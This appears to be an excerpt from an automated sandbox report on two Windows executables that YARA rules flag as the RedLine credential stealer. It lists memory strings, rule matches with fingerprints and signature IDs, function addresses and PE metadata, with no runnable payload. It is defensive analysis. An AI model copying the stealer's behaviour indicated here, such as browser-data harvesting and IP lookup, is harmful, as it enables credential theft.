Source: RgIbrhxoEx.exe, 00000008.00000002.2249959676.00000000040DA000.00000004.00000800.00020000.00000000.sdmp, RgIbrhxoEx.exe, 00000008.00000002.2249959676.0000000004260000.00000004.00000800.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2337066239.0000000003CBC000.00000004.00000800.00020000.00000000.sdmp, tmp8A31.tmp.14.dr, tmp666D.tmp.8.dr, tmpC059.tmp.14.dr, tmpC018.tmp.14.dr, tmpF5A4.tmp.14.dr, tmp3123.tmp.8.dr, tmpF593.tmp.14.dr, tmp9B9B.tmp.8.dr, tmp9BAB.tmp.8.dr, tmp9B6A.tmp.8.dr, tmp3112.tmp.8.dr, tmpC028.tmp.14.dr, tmp8A01.tmp.14.dr, tmpD02C.tmp.8.dr, tmp9B8A.tmp.8.dr, tmpF5F4.tmp.14.dr, tmp665D.tmp.8.dr, tmp9BBC.tmp.8.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: RgIbrhxoEx.exe, 00000008.00000002.2249959676.00000000040DA000.00000004.00000800.00020000.00000000.sdmp, RgIbrhxoEx.exe, 00000008.00000002.2249959676.0000000004260000.00000004.00000800.00020000.00000000.sdmp, tmp8A31.tmp.14.dr, tmp666D.tmp.8.dr, tmpC059.tmp.14.dr, tmpC018.tmp.14.dr, tmpF5A4.tmp.14.dr, tmp3123.tmp.8.dr, tmpF593.tmp.14.dr, tmp9B9B.tmp.8.dr, tmp9BAB.tmp.8.dr, tmp9B6A.tmp.8.dr, tmp3112.tmp.8.dr, tmpC028.tmp.14.dr, tmp8A01.tmp.14.dr, tmpD02C.tmp.8.dr, tmp9B8A.tmp.8.dr, tmpF5F4.tmp.14.dr, tmp665D.tmp.8.dr, tmp9BBC.tmp.8.dr, tmpD01B.tmp.8.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: RgIbrhxoEx.exe, 00000008.00000002.2249959676.00000000040DA000.00000004.00000800.00020000.00000000.sdmp, RgIbrhxoEx.exe, 00000008.00000002.2249959676.0000000004260000.00000004.00000800.00020000.00000000.sdmp, tmp8A31.tmp.14.dr, tmp666D.tmp.8.dr, tmpC059.tmp.14.dr, tmpC018.tmp.14.dr, tmpF5A4.tmp.14.dr, tmp3123.tmp.8.dr, tmpF593.tmp.14.dr, tmp9B9B.tmp.8.dr, tmp9BAB.tmp.8.dr, tmp9B6A.tmp.8.dr, tmp3112.tmp.8.dr, tmpC028.tmp.14.dr, tmp8A01.tmp.14.dr, tmpD02C.tmp.8.dr, tmp9B8A.tmp.8.dr, tmpF5F4.tmp.14.dr, tmp665D.tmp.8.dr, tmp9BBC.tmp.8.dr, tmpD01B.tmp.8.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: RgIbrhxoEx.exe, 00000008.00000002.2249959676.00000000040DA000.00000004.00000800.00020000.00000000.sdmp, RgIbrhxoEx.exe, 00000008.00000002.2249959676.0000000004260000.00000004.00000800.00020000.00000000.sdmp, tmp8A31.tmp.14.dr, tmp666D.tmp.8.dr, tmpC059.tmp.14.dr, tmpC018.tmp.14.dr, tmpF5A4.tmp.14.dr, tmp3123.tmp.8.dr, tmpF593.tmp.14.dr, tmp9B9B.tmp.8.dr, tmp9BAB.tmp.8.dr, tmp9B6A.tmp.8.dr, tmp3112.tmp.8.dr, tmpC028.tmp.14.dr, tmp8A01.tmp.14.dr, tmpD02C.tmp.8.dr, tmp9B8A.tmp.8.dr, tmpF5F4.tmp.14.dr, tmp665D.tmp.8.dr, tmp9BBC.tmp.8.dr, tmpD01B.tmp.8.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: RgIbrhxoEx.exe, RgIbrhxoEx.exe, 00000008.00000002.2242729605.0000000000402000.00000040.00000400.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000A.00000002.2218778326.000000000424B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/ip%appdata%
Source: RgIbrhxoEx.exe, LjGABleGAy.exe.0.dr	String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/0
Source: RgIbrhxoEx.exe, 00000008.00000002.2249959676.00000000040DA000.00000004.00000800.00020000.00000000.sdmp, RgIbrhxoEx.exe, 00000008.00000002.2249959676.0000000004260000.00000004.00000800.00020000.00000000.sdmp, tmp8A31.tmp.14.dr, tmp666D.tmp.8.dr, tmpC059.tmp.14.dr, tmpC018.tmp.14.dr, tmpF5A4.tmp.14.dr, tmp3123.tmp.8.dr, tmpF593.tmp.14.dr, tmp9B9B.tmp.8.dr, tmp9BAB.tmp.8.dr, tmp9B6A.tmp.8.dr, tmp3112.tmp.8.dr, tmpC028.tmp.14.dr, tmp8A01.tmp.14.dr, tmpD02C.tmp.8.dr, tmp9B8A.tmp.8.dr, tmpF5F4.tmp.14.dr, tmp665D.tmp.8.dr, tmp9BBC.tmp.8.dr, tmpD01B.tmp.8.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: RgIbrhxoEx.exe, 00000008.00000002.2249959676.00000000040DA000.00000004.00000800.00020000.00000000.sdmp, RgIbrhxoEx.exe, 00000008.00000002.2249959676.0000000004260000.00000004.00000800.00020000.00000000.sdmp, tmp8A31.tmp.14.dr, tmp666D.tmp.8.dr, tmpC059.tmp.14.dr, tmpC018.tmp.14.dr, tmpF5A4.tmp.14.dr, tmp3123.tmp.8.dr, tmpF593.tmp.14.dr, tmp9B9B.tmp.8.dr, tmp9BAB.tmp.8.dr, tmp9B6A.tmp.8.dr, tmp3112.tmp.8.dr, tmpC028.tmp.14.dr, tmp8A01.tmp.14.dr, tmpD02C.tmp.8.dr, tmp9B8A.tmp.8.dr, tmpF5F4.tmp.14.dr, tmp665D.tmp.8.dr, tmp9BBC.tmp.8.dr, tmpD01B.tmp.8.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.RgIbrhxoEx.exe.3e22b60.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0.2.RgIbrhxoEx.exe.3e22b60.3.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 10.2.LjGABleGAy.exe.4263440.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 10.2.LjGABleGAy.exe.4263440.1.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.2.RgIbrhxoEx.exe.3e0ad40.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0.2.RgIbrhxoEx.exe.3e0ad40.1.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 10.2.LjGABleGAy.exe.424b620.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 10.2.LjGABleGAy.exe.424b620.3.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 8.2.RgIbrhxoEx.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 8.2.RgIbrhxoEx.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 10.2.LjGABleGAy.exe.4263440.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 10.2.LjGABleGAy.exe.4263440.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.2.RgIbrhxoEx.exe.3e22b60.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0.2.RgIbrhxoEx.exe.3e22b60.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 10.2.LjGABleGAy.exe.424b620.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 10.2.LjGABleGAy.exe.424b620.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.2.RgIbrhxoEx.exe.3e0ad40.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0.2.RgIbrhxoEx.exe.3e0ad40.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000008.00000002.2242729605.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 00000000.00000002.2133731245.0000000003E0A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0000000A.00000002.2218778326.000000000424B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: Process Memory Space: RgIbrhxoEx.exe PID: 5440, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: Process Memory Space: RgIbrhxoEx.exe PID: 3620, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: Process Memory Space: LjGABleGAy.exe PID: 1880, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown

.NET source code contains very large array initializations

Source: 0.2.RgIbrhxoEx.exe.5270000.5.raw.unpack, SizeParameters.cs

Large array initialization: : array initializer size 15921

Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Code function: 0_2_01320828	0_2_01320828
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Code function: 0_2_01320840	0_2_01320840
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Code function: 0_2_013228B0	0_2_013228B0
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Code function: 0_2_013210B0	0_2_013210B0
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Code function: 0_2_013210A0	0_2_013210A0
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Code function: 0_2_01329C30	0_2_01329C30
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Code function: 0_2_01320C78	0_2_01320C78
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Code function: 0_2_01322CE8	0_2_01322CE8
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Code function: 0_2_0137DEA4	0_2_0137DEA4
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Code function: 0_2_02D87020	0_2_02D87020
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Code function: 0_2_02D8F350	0_2_02D8F350
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Code function: 0_2_02D80040	0_2_02D80040
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Code function: 0_2_02D87010	0_2_02D87010
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Code function: 0_2_02D80007	0_2_02D80007
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Code function: 8_2_013CE7B0	8_2_013CE7B0
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Code function: 8_2_013CDC90	8_2_013CDC90
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Code function: 8_2_06979628	8_2_06979628
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Code function: 8_2_06974468	8_2_06974468
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Code function: 8_2_06971300	8_2_06971300
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Code function: 8_2_06973320	8_2_06973320
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Code function: 8_2_0697D108	8_2_0697D108
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Code function: 8_2_0697DD00	8_2_0697DD00
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Code function: 8_2_069712FB	8_2_069712FB
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Code function: 10_2_013B4B01	10_2_013B4B01
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Code function: 10_2_013BDEA4	10_2_013BDEA4
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Code function: 10_2_03050840	10_2_03050840
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Code function: 10_2_030510A0	10_2_030510A0
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Code function: 10_2_030510B0	10_2_030510B0
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Code function: 10_2_030528B0	10_2_030528B0
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Code function: 10_2_030590F0	10_2_030590F0
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Code function: 10_2_03050C78	10_2_03050C78
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Code function: 10_2_03052CE8	10_2_03052CE8
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Code function: 14_2_012DE7B0	14_2_012DE7B0
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Code function: 14_2_012DDC90	14_2_012DDC90
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Code function: 14_2_065A9628	14_2_065A9628
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Code function: 14_2_065A4468	14_2_065A4468
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Code function: 14_2_065A1210	14_2_065A1210
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Code function: 14_2_065A3320	14_2_065A3320
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Code function: 14_2_065AD108	14_2_065AD108
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Code function: 14_2_065ADD00	14_2_065ADD00

Source: RgIbrhxoEx.exe

Static PE information: invalid certificate

Source: RgIbrhxoEx.exe, 00000000.00000002.2134740884.0000000005270000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMML.dll2 vs RgIbrhxoEx.exe
Source: RgIbrhxoEx.exe, 00000000.00000002.2135400131.0000000005F40000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs RgIbrhxoEx.exe
Source: RgIbrhxoEx.exe, 00000000.00000002.2133731245.0000000003F7E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs RgIbrhxoEx.exe
Source: RgIbrhxoEx.exe, 00000000.00000002.2130972981.0000000000FDE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs RgIbrhxoEx.exe
Source: RgIbrhxoEx.exe, 00000000.00000002.2133067683.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMML.dll2 vs RgIbrhxoEx.exe
Source: RgIbrhxoEx.exe, 00000000.00000002.2133731245.0000000003E0A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameImplosions.exe4 vs RgIbrhxoEx.exe
Source: RgIbrhxoEx.exe, 00000000.00000002.2133067683.0000000002DE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameImplosions.exe4 vs RgIbrhxoEx.exe
Source: RgIbrhxoEx.exe, 00000000.00000000.2039485781.0000000000938000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameiLuj.exe8 vs RgIbrhxoEx.exe
Source: RgIbrhxoEx.exe, 00000008.00000002.2242729605.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameImplosions.exe4 vs RgIbrhxoEx.exe
Source: RgIbrhxoEx.exe, 00000008.00000002.2243652387.0000000001438000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs RgIbrhxoEx.exe
Source: RgIbrhxoEx.exe, 00000008.00000002.2244863181.0000000003146000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs RgIbrhxoEx.exe
Source: RgIbrhxoEx.exe	Binary or memory string: OriginalFilenameiLuj.exe8 vs RgIbrhxoEx.exe

Source: RgIbrhxoEx.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.RgIbrhxoEx.exe.3e22b60.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0.2.RgIbrhxoEx.exe.3e22b60.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 10.2.LjGABleGAy.exe.4263440.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 10.2.LjGABleGAy.exe.4263440.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.2.RgIbrhxoEx.exe.3e0ad40.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0.2.RgIbrhxoEx.exe.3e0ad40.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 10.2.LjGABleGAy.exe.424b620.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 10.2.LjGABleGAy.exe.424b620.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 8.2.RgIbrhxoEx.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 8.2.RgIbrhxoEx.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 10.2.LjGABleGAy.exe.4263440.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 10.2.LjGABleGAy.exe.4263440.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.2.RgIbrhxoEx.exe.3e22b60.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0.2.RgIbrhxoEx.exe.3e22b60.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 10.2.LjGABleGAy.exe.424b620.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 10.2.LjGABleGAy.exe.424b620.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.2.RgIbrhxoEx.exe.3e0ad40.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0.2.RgIbrhxoEx.exe.3e0ad40.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000008.00000002.2242729605.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 00000000.00000002.2133731245.0000000003E0A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0000000A.00000002.2218778326.000000000424B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Process Memory Space: RgIbrhxoEx.exe PID: 5440, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Process Memory Space: RgIbrhxoEx.exe PID: 3620, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Process Memory Space: LjGABleGAy.exe PID: 1880, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23

Source: RgIbrhxoEx.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: LjGABleGAy.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.RgIbrhxoEx.exe.3fe01c8.2.raw.unpack, A8wQQPxStWJpqrtu18.cs	Security API names: _0020.SetAccessControl
Source: 0.2.RgIbrhxoEx.exe.3fe01c8.2.raw.unpack, A8wQQPxStWJpqrtu18.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.RgIbrhxoEx.exe.3fe01c8.2.raw.unpack, A8wQQPxStWJpqrtu18.cs	Security API names: _0020.AddAccessRule
Source: 0.2.RgIbrhxoEx.exe.5f40000.8.raw.unpack, UjapGcaBaYOORK0HUJ.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.RgIbrhxoEx.exe.3fe01c8.2.raw.unpack, UjapGcaBaYOORK0HUJ.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.RgIbrhxoEx.exe.40399e8.4.raw.unpack, A8wQQPxStWJpqrtu18.cs	Security API names: _0020.SetAccessControl
Source: 0.2.RgIbrhxoEx.exe.40399e8.4.raw.unpack, A8wQQPxStWJpqrtu18.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.RgIbrhxoEx.exe.40399e8.4.raw.unpack, A8wQQPxStWJpqrtu18.cs	Security API names: _0020.AddAccessRule
